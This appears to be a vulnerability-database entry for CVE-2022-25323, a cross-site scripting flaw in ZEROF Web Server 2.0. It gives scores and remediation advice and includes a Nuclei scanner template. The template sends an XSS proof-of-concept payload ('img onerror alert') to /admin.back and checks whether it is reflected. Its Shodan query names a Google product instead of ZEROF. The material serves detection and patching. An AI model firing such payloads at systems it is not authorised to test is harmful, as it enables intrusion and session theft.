SecurityContext

CVE-2022-25323: ZEROF Web Server 2.0 - Cross-Site Scripting

Classification

  • Cwe: CWE-79
  • Cvss score: 6.1
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Epss score: 0.03231
  • Epss percentile: 0.8858
  • Cpe: cpe:2.3:a:zerof:web_server:2.0:*:*:*:*:*:*:*

Metadata

  • Max-request: 1
  • Product: web_server
  • Shodan-query: cpe:"cpe:2.3:a:google:web_server"
  • Vendor: zerof

Products

ProductIndexedUrl
zerof:web_serveryes/v1/products/zerof/web_server

Labels

  • Name: ZEROF Web Server - Stored XSS
  • Impact: Attackers can execute malicious scripts in user browsers, potentially stealing cookies, session tokens, or performing actions on behalf of users.
  • Remediation: Implement input sanitization and validation in /admin.back, and update to the latest version if available.
  • Vulnerability type: stored_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: user_interaction
  • Requirements: Victim needs to visit malicious page
  • Labels source: projectdiscovery
  • From cve: CVE-2022-25323

```yaml

id: CVE-2022-25323

info:

name: ZEROF Web Server 2.0 - Cross-Site Scripting

author: pikpikcu

severity: medium

description: ZEROF Web Server 2.0 allows /admin.back cross-site scripting.

impact: |

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

remediation: |

Apply the latest security patches or updates provided by the vendor to fix the XSS vulnerability in ZEROF Web Server 2.0.

reference:

- https://github.com/awillix/research/blob/main/cve/CVE-2022-25323.md

- https://nvd.nist.gov/vuln/detail/CVE-2022-25323

- https://awillix.ru

- https://github.com/ARPSyndicate/kenzer-templates

- https://github.com/awillix/research

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

cvss-score: 6.1

cve-id: CVE-2022-25323

cwe-id: CWE-79

epss-score: 0.03231

epss-percentile: 0.8858

cpe: cpe:2.3:a:zerof:web_server:2.0:*:*:*:*:*:*:*

metadata:

max-request: 1

vendor: zerof

product: web_server

shodan-query: cpe:"cpe:2.3:a:google:web_server"

tags: cve,cve2022,xss,zerof,vuln

http:

- method: GET

path:

- "{{BaseURL}}/admin.back<img%20src=x%20onerror=alert(document.domain)>"

matchers-condition: and

matchers:

- type: word

part: body

words:

- 'back<img src=x onerror=alert(document.domain)>'

- type: word

part: header

words:

- "text/html"

- type: status

status:

- 401

digest: 4b0a0048304602210090965217c5509887ecb5f07616fd3a7d4f143d181d579737d3eab4b506c8f80f022100df773e3399f0c6704a198f81c4e9928307d94f91b8a95d3ef49963772858e792:922c64590222798bb761d5b6d8e72950

```